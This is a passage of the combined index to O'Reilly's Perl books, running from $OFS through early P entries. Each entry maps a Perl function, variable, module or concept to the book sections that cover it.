$OFS ($,) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
-ok option (perlbug) : Perl in a Nutshell, 6.6. The perlbug Program
-okay option (perlbug) : Perl in a Nutshell, 6.6. The perlbug Program
OLE automation : Perl in a Nutshell, 19.18. OLE Automation
OLE module
Learning Perl on Win32 Systems, A.18. Chapter 19, OLE Automation
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Learning Perl on Win32 Systems, 19.2. Creating Automation Objects
OLEDB : Learning Perl on Win32 Systems, 19.3.1. Data-Access Objects
one-liners : Programming Perl, 1.3.1. How to Do It
one-to-many associations : Advanced Perl Programming, 11.2.7. Object Associations
-onvalue option
Checkbutton widget : Perl in a Nutshell, 18.5. The Checkbutton Widget
Menubutton widget : Perl in a Nutshell, 18.14.1. Menu Item Options
OOP : (see object-oriented programming (OOP))
Opcode module : Perl in a Nutshell, 8.117. Opcode
opcodes : Advanced Perl Programming, 20.2.2. Translator
open()
(see also processes)
Advanced Perl Programming, 3.4. Filehandles, Directory Handles, and Formats
Perl Cookbook, 7.0. Introduction
Perl Cookbook, 7.1. Opening a File
Perl Cookbook, 16.10. Communicating Between Related Processes
Learning Perl, 1.5.10. Moving the Secret Word List into a Separate File
Learning Perl, 1.5.17. The Final Programs
Learning Perl, 10.2. Opening and Closing a Filehandle
Learning Perl, 19.8.2. Objects in CGI.pm
Learning Perl on Win32 Systems, 1.6.10. Moving the Secret Word List into a Separate File
Learning Perl on Win32 Systems, 1.6.17. The Final Programs
Learning Perl on Win32 Systems, 10.2. Opening and Closing a Filehandle
Perl in a Nutshell, Chapter 5, Reference: open
Perl in a Nutshell, 4.9. Filehandles
Programming Perl, 3.2.102. open
Programming Perl, 6.2.2.1. Anonymous pipes
Programming Perl, 7.2.33. FileHandle - Supply Object Methods for Filehandles
$. and : Programming Perl, 3.2.18. close
caching open filehandles : Perl Cookbook, 7.17. Caching Open Output Filehandles
document object (PerlScript) : Perl in a Nutshell, 20.1.1.1. Document methods
examples of
Learning Perl, A.9. Chapter 10, Filehandles and File Tests
Learning Perl, 1.5.17. The Final Programs
Learning Perl, 11.3. Invoking a Format
Learning Perl on Win32 Systems, A.9. Chapter 10, Filehandles and File Tests
Learning Perl on Win32 Systems, 11.3. Invoking a Format
fileno function and : Programming Perl, 3.2.38. fileno
filtering output : Perl Cookbook, 16.5. Filtering Your Own Output
Mail::Folder module : Perl in a Nutshell, Chapter 14, Reference: open
Mail::Mailer module : Perl in a Nutshell, Chapter 14, Reference: open
Mail::Send module
Perl in a Nutshell, Chapter 14, Reference: open
Perl in a Nutshell, 14.2.2. Better Header Control with Mail::Send
plus sign and : Learning Perl, 17.4. Fixed-Length Random Access Databases
reading from other programs : Perl Cookbook, 16.4. Reading or Writing to Another Program
strange filenames with : Perl Cookbook, 7.2. Opening Files with Unusual Filenames
vertical bar in
Learning Perl, 1.5.12. Warning Someone When Things Go Astray
Learning Perl, 14.3. Using Processes as Filehandles
Learning Perl on Win32 Systems, 1.6.12. Warning Someone When Things Go Astray
Learning Perl on Win32 Systems, 14.3. Using Processes as Filehandles
Win32::Mutex module : Perl in a Nutshell, 19.9. Win32::Mutex
Win32::Semaphore module : Perl in a Nutshell, 19.14. Win32::Semaphore
Open()
Learning Perl on Win32 Systems, 16.5. Opening and Reading Registry Values
Perl in a Nutshell, 19.13. Win32::Registry
open, magic : (see magic open)
open2() : Programming Perl, 7.2.39. IPC::Open2 - Open a Process for Both Reading and Writing
Open2, Open3 library modules : Programming Perl, 6.2.2.3. Bidirectional communication
open3() : Programming Perl, 7.2.40. IPC::Open3 - Open a Process for Reading, Writing, and Error Handling
opendir()
Advanced Perl Programming, 3.4. Filehandles, Directory Handles, and Formats
Perl Cookbook, 9.0. Introduction
Perl Cookbook, 9.5. Processing All Files in a Directory
Learning Perl, 12.4. Opening and Closing a Directory Handle
Learning Perl on Win32 Systems, 12.5. Reading a Directory Handle
Perl in a Nutshell, Chapter 5, Reference: opendir
Programming Perl, 3.2.103. opendir
Programming Perl, 7.2.11. DirHandle - Supply Object Methods for Directory Handles
examples of : Learning Perl, A.11. Chapter 12, Directory Access
globbing filenames : Perl Cookbook, 9.6. Globbing, or Getting a List of Filenames Matching a Pattern
opening
DBM database : Learning Perl, 17.2. Opening and Closing DBM Hashes
file descriptors : Perl Cookbook, 7.19. Opening and Closing File Descriptors by Number
files
Perl Cookbook, 7.1. Opening a File
Learning Perl, 10.2. Opening and Closing a Filehandle
FileCache module : Programming Perl, 7.2.32. FileCache - Keep More Files Open Than the System Permits
via low-level system call : Programming Perl, 3.2.165. sysopen
Registry values : Learning Perl on Win32 Systems, 16.5. Opening and Reading Registry Values
sockets : Programming Perl, 3.2.151. socket
openlog() : Programming Perl, 7.2.63. Sys::Syslog - Perl Interface to UNIX syslog(3) Calls
OpenRequest() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: OpenRequest
OpenURL() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: OpenURL
operands, defined : Learning Perl, 2.4. Scalar Operators
operating system : Programming Perl, Perl in a Nutshell
operator mask : Programming Perl, 7.2.51. Safe - Create Safe Namespaces for Evaluating Perl Code
operators
Learning Perl on Win32 Systems, 2.4. Scalar Operators
Perl in a Nutshell, 4.5. Operators
Programming Perl, 1.5. Operators
Programming Perl, 2.5. Operators
addition : Learning Perl, 2.4.1. Operators for Numbers
assignment : Learning Perl, 2.6. Scalar Operators and Functions
for associative arrays (hashes) : Learning Perl, 5.4. Hash Functions
associativity
Learning Perl, 2.4.3. Operator Precedence and Associativity
Programming Perl, 2.5. Operators
autodecrement : Learning Perl, 2.6.2. Autoincrement and Autodecrement
autogeneration : Programming Perl, 7.2.48.7. Autogeneration
autoincrement : Learning Perl, 2.6.2. Autoincrement and Autodecrement
definition of : Learning Perl, 2.4. Scalar Operators
division : Learning Perl, 2.4.1. Operators for Numbers
logical comparison : Learning Perl, 2.4.1. Operators for Numbers
multiplication : Learning Perl, 2.4.1. Operators for Numbers
overloading
Perl Cookbook, 13.14. Overloading Operators
Programming Perl, 7.2.48. overload - Overload Perl's Mathematical Operations
precedence of
Learning Perl, 2.4.3. Operator Precedence and Associativity
Programming Perl, 2.5. Operators
for scalar variables : Learning Perl, 2.6. Scalar Operators and Functions
string operators : Learning Perl, 2.4.2. Operators for Strings
subtraction : Learning Perl, 2.4.1. Operators for Numbers
undef and : Learning Perl, 2.9. The Undefined Value
ops module : Perl in a Nutshell, 8.118. ops
optimizing Perl
Advanced Perl Programming, 20.2.2.2. Compilation and code generation stages
Programming Perl, 8.3. Efficiency
Optionmenu widget (Perl/Tk) : Perl in a Nutshell, 18.16. The Optionmenu Widget
options : (see switches, Perl command-line)
-options option (Optionmenu) : Perl in a Nutshell, 18.16. The Optionmenu Widget
OR (^) operator
Perl in a Nutshell, 4.5.10. Bitwise Operators
Programming Perl, 2.5.13. Bitwise Operators
Programming Perl, 2.5.20. Logical and, or, not, and xor
Programming Perl, 8.2.3. Awk Traps
Programming Perl, 8.4. Programming with Style
OR (|) operator
Perl in a Nutshell, 4.5.10. Bitwise Operators
Programming Perl, 2.5.13. Bitwise Operators
OR (||) operator
Perl Cookbook, 1.2. Establishing a Default Value
Perl in a Nutshell, 4.5.9. Logical Operators
Programming Perl, 2.5.14. C-style Logical (Short Circuit) Operators
OR functionality in regular expressions : Perl Cookbook, 6.17. Expressing AND, OR, and NOT in a Single Pattern
Oracle module : Advanced Perl Programming, 10.4.1. DBI (Database Interface)
oraperl
Advanced Perl Programming, 10.4.1. DBI (Database Interface)
Perl in a Nutshell, 12.2. Design of DBI
ord()
Perl Cookbook, 1.4. Converting Between ASCII Characters and Values
Learning Perl, 16.2. Packing and Unpacking Binary Data
Perl in a Nutshell, Chapter 5, Reference: ord
Programming Perl, 3.2.104. ord
order : (see precedence)
oreobounce program (example) : Perl Cookbook, 19.8. Redirecting to a Different Location
-orient option
Scale widget : Perl in a Nutshell, 18.13. The Scale Widget
Scrollbar widget : Perl in a Nutshell, 18.9. The Scrollbar Widget
$ORS ($\) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 6.1.2. Switches
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
orthogonal (transparent) persistence
Advanced Perl Programming, 11. Implementing Object Persistence
Advanced Perl Programming, 11.2.1. Design Goals
Orwant, Jon : Perl in a Nutshell, 1.4.7. The Perl Journal
OS/2, Perl under : Learning Perl, 1.3. Availability
$OS_ERROR ($!) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
os_snipe program (example) : Perl Cookbook, 19.8. Redirecting to a Different Location
$OSNAME ($^O) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
Ousterhout, John : Advanced Perl Programming, The Case for Scripting
output
(see also filehandles)
(see also input)
Perl in a Nutshell, 5.1. Perl Functions by Category
Programming Perl, 1.4. Filehandles
checking file descriptors for : Programming Perl, 3.2.135. select (ready file descriptors)
controlling decimal places : Perl Cookbook, 13.14. Overloading Operators
controlling for other programs : Perl Cookbook, 16.8. Controlling Input and Output of Another Program
field separator : (see $ variables, $, variable)
filtering : Perl Cookbook, 16.5. Filtering Your Own Output
flushing : Perl Cookbook, 7.12. Flushing Output
formats for : Perl in a Nutshell, 4.10. Formats
gathering from programs : Perl Cookbook, 16.1. Gathering Output from a Program
pipes : Programming Perl, 6.2.2. Pipes
random access I/O : Perl Cookbook, 8.12. Using Random-Access I/O
record separator : (see $ variables, $\ variable)
selecting filehandles for : Programming Perl, 3.2.134. select (output filehandle)
test script : Programming Perl, 7.2.66.1. The test script output
writing to other programs : Perl Cookbook, 16.4. Reading or Writing to Another Program
output() : Perl Cookbook, 5.16. Program: dutree
$OUTPUT_AUTOFLUSH ($|) variable
Perl Cookbook, 7.0. Introduction
Perl Cookbook, 7.12. Flushing Output
Perl in a Nutshell, 4.4.6. Filehandle Special Variables
Programming Perl, 2.8.1. Format Variables
Programming Perl, 2.9.2. Per-Filehandle Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$OUTPUT_FIELD_SEPARATOR ($,) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
$OUTPUT_RECORD_SEPARATOR ($\) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 6.1.2. Switches
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
OutputCP() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: OutputCP
=over command (pod) : Perl in a Nutshell, Chapter 4, Reference: =over
overload module
Perl in a Nutshell, 8.119. overload
Programming Perl, 7.2.48. overload - Overload Perl's Mathematical Operations
Overloaded() : Programming Perl, 7.2.48.9. Public functions
overloading
Perl Cookbook, 13.14. Overloading Operators
Programming Perl, 2.3.3.1. Scalar and list context
Programming Perl, 7.2.48.8. Run-time overloading
overridedirect() (Frame widget) : Perl in a Nutshell, 18.18.1. Toplevel Methods
overriding
base class methods
Advanced Perl Programming, 7.2.6.1. Overriding base classes
Programming Perl, 5.5.6. Overriding Base Class Methods
functions
Perl Cookbook, 12.11. Overriding Built-In Functions
Programming Perl, 5.2.2. Overriding Built-in Functions
MakeMaker methods : Programming Perl, 7.2.18.10. Overriding MakeMaker methods
methods : Perl Cookbook, 13.10. Accessing Overridden Methods
signal handlers : Perl Cookbook, 16.16. Temporarily Overriding a Signal Handler
overview_fmt() (Net::NNTP) : Perl in a Nutshell, Chapter 15, Reference: overview_fmt
ownership, file
Learning Perl, 13.6. Modifying Ownership
Programming Perl, 3.2.15. chown

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: P

p command (debugger)
Perl in a Nutshell, Chapter 6, Reference: p
Programming Perl, 8.1.1. Debugger Commands
-p file test operator
Learning Perl, 10.5. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
-p option (dprofpp) : Perl in a Nutshell, 6.5. The Perl Profiler
-p switch, perl
Perl Cookbook, 7.7. Writing a Filter
Learning Perl, 17.5. Variable-Length (Text) Databases
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
modifying files with : Perl Cookbook, 7.9. Modifying a File in Place with -i Switch
-P switch, perl
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
pack()
Advanced Perl Programming, 14.2. Starting with Perl/Tk
Advanced Perl Programming, 14.4.1. Packer
Perl Cookbook, 1.4. Converting Between ASCII Characters and Values
Perl Cookbook, 8.13. Updating a Random-Access File
Learning Perl, 16.2. Packing and Unpacking Binary Data
Perl in a Nutshell, Chapter 5, Reference: pack
Perl in a Nutshell, Chapter 14, Reference: pack
Programming Perl, 3.2.105. pack
converting binary and decimal numbers : Perl Cookbook, 2.4. Converting Between Binary and Decimal
examples of : Learning Perl, 17.4. Fixed-Length Random Access Databases
with Tk resize events : Perl Cookbook, 15.16. Responding to Tk Resize Events
pack format string : Learning Perl, 16.2. Packing and Unpacking Binary Data
pack geometry manager (Perl/Tk) : Perl in a Nutshell, 18.2. Geometry Managers
package() : Perl in a Nutshell, Chapter 5, Reference: package
__PACKAGE__ token
Perl Cookbook, 10.4. Determining Current Function Name
Perl Cookbook, 12.5. Determining the Caller's Package
Perl in a Nutshell, 4.4.4. Global Special Constants
package declaration
Advanced Perl Programming, 6.1. Basic Package
Perl Cookbook, 12.0. Introduction
Perl in a Nutshell, 7.1. Namespaces and Packages
Programming Perl, 3.2.106. package
Programming Perl, 5.1. Packages
package variables : (see global, variables)
packages
(see also modules, Perl)
Perl Cookbook, 12.0. Introduction
Perl Cookbook, 12.19. Program: Finding Versions and Descriptions of Installed Modules
Learning Perl on Win32 Systems, B.1. Library Terminology
Learning Perl on Win32 Systems, D.9. Packages
Perl in a Nutshell, 7.1. Namespaces and Packages
Programming Perl, 5. Packages, Modules, and Object Classes
Programming Perl, 5.1.3. Autoloading
Programming Perl, 7. The Standard Perl Library
BEGIN and END subentries : Programming Perl, 5.1.2. Package Constructors and Destructors: BEGIN and END
blessing objects into : Programming Perl, 3.2.9. bless
declaring
Programming Perl, 2.6.8. Scoped Declarations
Programming Perl, 3.2.106. package
determining current/calling : Perl Cookbook, 12.5. Determining the Caller's Package
importing semantics to : Programming Perl, 3.2.185. use
names for : Programming Perl, 8.4. Programming with Style
overriding built-in functions : Perl Cookbook, 12.11. Overriding Built-In Functions
private variables and functions : Perl Cookbook, 12.4. Making Variables Private to a Module
referring to indirectly : Perl Cookbook, 12.13. Referring to Packages Indirectly
tying/binding variables to
Programming Perl, 3.2.171. tie
Programming Perl, 3.2.184. untie
packed sockaddr : Programming Perl, 3.2.54. getpeername
packer geometry manager : Advanced Perl Programming, 14.4.1. Packer
packet-oriented communication : Perl in a Nutshell, 13. Sockets
packForget() (pack geometry manager) : Perl in a Nutshell, 18.2.1.1. Pack methods
packInfo() (pack geometry manager) : Perl in a Nutshell, 18.2.1.1. Pack methods
packPropogate() (pack geometry manager) : Perl in a Nutshell, 18.2.1.1. Pack methods
packSlaves() (pack geometry manager) : Perl in a Nutshell, 18.2.1.1. Pack methods
padlists : Advanced Perl Programming, 20.3.5.2. How local and my work
-padx, -pady options : Perl in a Nutshell, 18.3. Common Widget Configuration Options
grid geometry manager : Perl in a Nutshell, 18.2.2. The grid Geometry Manager
pack geometry manager : Perl in a Nutshell, 18.2.1. The pack Geometry Manager
page length
changing, in formats : Learning Perl, 11.6.4. Changing the Page Length
default, for top-of-page format : Learning Perl, 11.5. The Top-of-Page Format
page numbers : Programming Perl, 2.9.2. Per-Filehandle Special Variables
page position, changing, in formats : Learning Perl, 11.6.5. Changing the Position on the Page
pages : Programming Perl, 2.9.2. Per-Filehandle Special Variables
pairs, key/value : (see hashes (associative arrays))
paragraph mode
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 6.1.2. Switches
paragraph tags (pod) : Perl in a Nutshell, 4.11.1. Paragraph tags
paragraphs
counting in files : Perl Cookbook, 8.2. Counting Lines (or Paragraphs or Records) in a File
in pod documentation : Perl Cookbook, 12.16. Documenting Your Module with Pod
reading files backwards by : Perl Cookbook, 8.4. Reading a File Backwards by Line or Paragraph
reformatting : Perl Cookbook, 1.12. Reformatting Paragraphs
wrapping text into : Programming Perl, 7.2.71. Text::Wrap - Wrap Text into a Paragraph
paragrep program (example) : Perl Cookbook, 6.11. Testing for a Valid Pattern
param()
Learning Perl, 19.4. Passing Parameters via CGI
Learning Perl, 19.7. Other Form Elements
Perl in a Nutshell, Chapter 10, Reference: param
Perl in a Nutshell, 10. The CGI.pm Module
parameterized HTML : Perl Cookbook, 20.9. Creating HTML Templates
parameters
Learning Perl, 1.5.9. Making It a Bit More Modular
Learning Perl on Win32 Systems, 1.6.9. Making It a Bit More Modular
passing via CGI : Learning Perl, 19.4. Passing Parameters via CGI
passing with typeglobs : Advanced Perl Programming, 3.2.2.1. Efficient parameter passing
SWIG and : Advanced Perl Programming, 18.3. SWIG Features
XS and : Advanced Perl Programming, 18.4.2. Default and Optional Parameters
params() (URI::URL) : Perl in a Nutshell, Chapter 17, Reference: params
parent() (HTML::Parser) : Perl in a Nutshell, Chapter 17, Reference: parent
parent classes : Programming Perl, 5.3.1. Brief Refresher on Object-Oriented Programming
accessing overridden methods : Perl Cookbook, 13.10. Accessing Overridden Methods
cloning objects : Perl Cookbook, 13.6. Cloning Objects
inheritance and : Perl Cookbook, 13.12. Solving the Data Inheritance Problem
parent processes
(see also processes)
Learning Perl, 14.4. Using fork
parentheses : (see () (parentheses))
parse()
HTML::Parser module : Perl in a Nutshell, Chapter 17, Reference: parse
Mail::Address module : Perl in a Nutshell, Chapter 14, Reference: parse
parse_csv subroutines : Perl Cookbook, 1.15. Parsing Comma-Separated Data
parse_file() (HTML::Parser) : Perl in a Nutshell, Chapter 17, Reference: parse_file
parse file specifications : Programming Perl, 7.2.27. File::Basename - Parse File Specifications
parse_head() (LWP::UserAgent) : Perl in a Nutshell, Chapter 17, Reference: parse_head
parse_query function : Advanced Perl Programming, 11.3.1.3. Query processing
ParseDate()
Perl Cookbook, 3.7. Parsing Dates and Times from Strings
Perl Cookbook, 3.11. Program: hopdelta
parser, template : Advanced Perl Programming, 17.4.2. Template Parser
ParseWords module : Programming Perl, 7.2.68. Text::ParseWords - Parse Text into a List of Tokens
parsing
comma-separated data : Perl Cookbook, 1.15. Parsing Comma-Separated Data
command-line arguments
Perl Cookbook, 15.1. Parsing Program Arguments
Perl in a Nutshell, 3.2. Command-Line Options
commas into numbers : Perl Cookbook, 2.17. Putting Commas in Numbers
datetime from strings : Perl Cookbook, 3.7. Parsing Dates and Times from Strings
email addresses : Perl in a Nutshell, 14.2.6. Parse Email Addresses with Mail::Address
filenames : Perl Cookbook, 9.10. Splitting a Filename into Its Component Parts
HTML tags : Perl Cookbook, 20.6. Extracting or Removing HTML Tags
input specification
Advanced Perl Programming, 17.2. Jeeves Example
Advanced Perl Programming, 17.3.1. Advantages of This Architecture
example of : Advanced Perl Programming, 17.5. Sample Specification Parser
web server log file : Perl Cookbook, 20.12. Parsing a Web Server Log File
partial URLs : Perl Cookbook, 19.0. Introduction
Pass() (Mail::POP3Client) : Perl in a Nutshell, Chapter 14, Reference: Pass
pass() (Net::POP3)
Perl in a Nutshell, Chapter 14, Reference: pass
Perl in a Nutshell, 14.1.3. Retrieving Email with Net::POP3
PASS command (POP3) : Perl in a Nutshell, 14.1.3. Retrieving Email with Net::POP3
"passes-the-buck-to" relationship : Programming Perl, 5.5.11. Delegation (the "Passes-the-Buck-to" Relationship)
passing
arguments to subroutines : Perl in a Nutshell, 4.7.2. Passing Arguments
by named parameter : Perl Cookbook, 10.7. Passing by Named Parameter
by reference : Perl Cookbook, 10.5. Passing Arrays and Hashes by Reference
references : Programming Perl, 2.7.2. Passing References
symbol table entries
Perl in a Nutshell, 4.7.3. Passing References
Programming Perl, 2.7.1. Passing Symbol Table Entries (Typeglobs)
passwd file : (see /etc/passwd file)
password()
Net::Netrc module : Perl in a Nutshell, Chapter 16, Reference: password
URI::URL module : Perl in a Nutshell, Chapter 17, Reference: password
Password() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: Password
password entries (.netrc) : Perl in a Nutshell, 16.3. FTP Configuration with Net::Netrc
password file
accessing
Learning Perl, 7.7. Exercises
Learning Perl, 16.1. Getting Password and Group Information
random access in : Learning Perl, 16.1. Getting Password and Group Information
reading from, example : Learning Perl, 10.4. Using Filehandles
sequential access to : Learning Perl, 16.1. Getting Password and Group Information
password_field() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: password_field
passwords
Programming Perl, 3.2.22. crypt
Programming Perl, 3.2.158. srand
randomly generating : Perl Cookbook, 2.7. Generating Random Numbers
reading without echo : Perl Cookbook, 15.10. Reading Passwords
pasv() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: pasv
Pasv() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: Pasv
pasv_wait() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: pasv_wait
pasv_xfer() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: pasv_xfer
pasv_xfer_unique() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: pasv_xfer_unique
patches for Perl source code
Perl in a Nutshell, 2.3.1.2. Patches
Programming Perl, 8.5.3. Patches
path()
Mail::Address module : Perl in a Nutshell, Chapter 14, Reference: path
URI::URL module : Perl in a Nutshell, Chapter 17, Reference: path
path delimiter : Learning Perl on Win32 Systems, 10.3. Using Pathnames and Filenames
PATH environment variable
Learning Perl, 14.1. Using system and exec
Perl in a Nutshell, 3.3. Environment Variables
Programming Perl, 6.1.2. Switches
Programming Perl, 6.3.1.2. Cleaning up your path
searching for scripts using : Perl in a Nutshell, 3.2. Command-Line Options
Path module : Programming Perl, 7.2.31. File::Path - Create or Remove a Series of Directories
Path property (response cookies) : Perl in a Nutshell, 20.2.2.1. Setting cookies
path_info() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: path_info
PATH_INFO variable
Perl in a Nutshell, 9.3. Extra Path Information
Perl in a Nutshell, 9.4. CGI Environment Variables
path_translated() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: path_translated
PATH_TRANSLATED variable
Perl in a Nutshell, 9.3. Extra Path Information
Perl in a Nutshell, 9.4. CGI Environment Variables
PATHEXT variable : Perl in a Nutshell, 3.3. Environment Variables
pathnames
Learning Perl on Win32 Systems, 2.3.2. Double-Quoted Strings
Learning Perl on Win32 Systems, 10.3. Using Pathnames and Filenames
current working directory : Programming Perl, 7.2.7. Cwd - Get Pathname of Current Working Directory
Pathologically Eclectic Rubbish Lister : Learning Perl, 1.1. History of Perl
paths : Perl Cookbook, 19.0. Introduction
pattern matching
(see also regular expressions)
Perl Cookbook, 1.16. Soundex Matching
Perl Cookbook, 6.0. Introduction
abbreviations : Perl Cookbook, 6.20. Matching Abbreviations
across multiple lines : Perl Cookbook, 6.6. Matching Multiple Lines
backtracking : Perl Cookbook, 6.0. Introduction
copying and substituting : Perl Cookbook, 6.1. Copying and Substituting Simultaneously
duplicate words : Perl Cookbook, 6.16. Detecting Duplicate Words
eager : Perl Cookbook, 6.0. Introduction
email addresses : Perl Cookbook, 6.19. Matching a Valid Mail Address
extracting ranges of lines : Perl Cookbook, 6.8. Extracting a Range of Lines
filenames : Perl Cookbook, 9.6. Globbing, or Getting a List of Filenames Matching a Pattern
functions for : Perl in a Nutshell, 5.1. Perl Functions by Category
fuzzy matching : Perl Cookbook, 6.13. Approximate Matching
greedy vs. non-greedy
Perl Cookbook, 6.0. Introduction
Perl Cookbook, 6.15. Greedy and Non-Greedy Matches
history.db file : Perl Cookbook, 14.11. Program: ggh - Grep Netscape Global History
honoring locale settings : Perl Cookbook, 6.12. Honoring Locale Settings in Regular Expressions
logical functionality in : Perl Cookbook, 6.17. Expressing AND, OR, and NOT in a Single Pattern
matching letters : Perl Cookbook, 6.2. Matching Letters
matching words : Perl Cookbook, 6.3. Matching Words
modifiers for : Perl Cookbook, 6.0. Introduction
multiple-byte charactrs : Perl Cookbook, 6.18. Matching Multiple-Byte Characters
Nth matches : Perl Cookbook, 6.5. Finding the Nth Occurrence of a Match
operators for
Perl in a Nutshell, 4.5.7. Pattern Match Operators
Perl in a Nutshell, 4.6.1. Pattern-Matching Operators
Programming Perl, 1.7. Regular Expressions
progressive (with /g) : Perl Cookbook, 6.5. Finding the Nth Occurrence of a Match
shell wildcards for : Perl Cookbook, 6.9. Matching Shell Globs as Regular Expressions
tcgrep program : Perl Cookbook, 6.22. Program: tcgrep
testing for invalid patterns : Perl Cookbook, 6.11. Testing for a Valid Pattern
urlify program : Perl Cookbook, 6.21. Program: urlify
useful and interesting patterns (list) : Perl Cookbook, 6.23. Regular Expression Grabbag
using /o modifier : Perl Cookbook, 6.10. Speeding Up Interpolated Matches
where last pattern ended : Perl Cookbook, 6.14. Matching from Where the Last Pattern Left Off
pattern separators, reading data with : Perl Cookbook, 6.7. Reading Records with a Pattern Separator
patterns
(see also m// (match) operator)
(see also m?? (match) operator)
(see also pattern matching)
(see also regular expressions)
Programming Perl, 1.7. Regular Expressions
Programming Perl, 2.4. Pattern Matching
Programming Perl, 3.2.1. /PATTERN/
delimiter besides slash : Learning Perl, 7.4.3. Using a Different Delimiter
embedded modifiers for : Programming Perl, 2.4.1.4. Regular expression extensions
example of pattern matching : Advanced Perl Programming, 5.5.1. A Fast Multipattern grep
greedy matching
Programming Perl, 1.7.1. Quantifiers
Programming Perl, 2.4.1.2. The rules of regular expression matching
matching precedence : Programming Perl, 2.4.1.2. The rules of regular expression matching
minimal matching : Programming Perl, 1.7.2. Minimal Matching
quantifiers : Programming Perl, 2.4.1.2. The rules of regular expression matching
special variables for matching : Programming Perl, 2.9.1. Regular Expression Special Variables
split() and : Programming Perl, 3.2.155. split
study() : Programming Perl, 3.2.160. study
for untainting data : Programming Perl, 6.3.1.1. Detecting and laundering tainted data
PauseService() (Win32::Service) : Perl in a Nutshell, Chapter 19, Reference: PauseService
pausing scripts : Programming Perl, 3.2.150. sleep
PDL module
Advanced Perl Programming, 2.2. Example: Matrices
Perl Cookbook, 2.14. Multiplying Matrices
Peek module
Advanced Perl Programming, 20.1. Reading the Source
Advanced Perl Programming, 20.3.1.2. Inside SVs
PeekInput() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: PeekInput
peephole optimizer : Advanced Perl Programming, 20.2.2.2. Compilation and code generation stages
Peer option (IO::Socket::UNIX) : Perl in a Nutshell, 13.2.5. IO::Socket::UNIX Reference
peeraddr() (IO::Socket::INET) : Perl in a Nutshell, Chapter 13, Reference: peeraddr
PeerAddr option (IO::Socket::INET) : Perl in a Nutshell, 13.2.4. IO::Socket::INET Reference
peerhost() (IO::Socket::INET) : Perl in a Nutshell, Chapter 13, Reference: peerhost
peerpath() (IO::Socket::UNIX) : Perl in a Nutshell, Chapter 13, Reference: peerpath
peerport() (IO::Socket::INET) : Perl in a Nutshell, Chapter 13, Reference: peerport
PeerPort option (IO::Socket::INET) : Perl in a Nutshell, 13.2.4. IO::Socket::INET Reference
Penguin module : Programming Perl, 6.3.2.2. Penguin
percent sign (%) : (see % (percent sign))
performance
Programming Perl, 8.3. Efficiency
Programming Perl, Perl in a Nutshell
CGI scripts
Perl in a Nutshell, 9. CGI Overview
Perl in a Nutshell, 11.4. Running CGI Scripts with mod_perl
efficient attribute storage : Advanced Perl Programming, 8.1. Efficient Attribute Storage
eval function to improve : Advanced Perl Programming, 5.5. Using Eval for Efficiency
measuring : Programming Perl, 3.2.174. times
memory management
Advanced Perl Programming, 1.6. A View of the Internals
Advanced Perl Programming, 20.5.6. Memory Management Using XS
references and : Advanced Perl Programming, 1.2.2. Performance Efficiency
typeglob aliases and : Advanced Perl Programming, 3.2.2. Using Typeglob Aliases
period : (see . (dot))
Perl
(see also modules, Perl)
(see also scripts, Perl)
Advanced Perl Programming, The Perl Interpreter
Learning Perl, 11.1. What Is a Format?
Learning Perl, 19.10. Perl and the Web: Beyond CGI Programming
Learning Perl on Win32 Systems, 11.1. What Is a Format?
Perl in a Nutshell, 3. The Perl Interpreter
Programming Perl, 1.3.1. How to Do It
advantages and uses
Advanced Perl Programming, Why Perl?
Perl in a Nutshell, 1.1. What's Perl Good For?
API for : Advanced Perl Programming, 19.2. Embedding Overview
architecture : Advanced Perl Programming, 20.2. Architecture
bugs in, reporting : Perl in a Nutshell, 6.6. The perlbug Program
CGI programming : (see CGI programs)
code generation : Advanced Perl Programming, 17.1. On Code Generation
command processing : Perl in a Nutshell, 3.1. Command Processing
command-line options
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
-- switch : Programming Perl, 6.1.2. Switches
-0 switch : Programming Perl, 6.1.2. Switches
-a switch
Programming Perl, 2.9.4. Global Special Arrays
Programming Perl, 6.1.2. Switches
-c switch : Programming Perl, 6.1.2. Switches
-d switch
Programming Perl, 6.1.2. Switches
Programming Perl, 8.1. The Perl Debugger
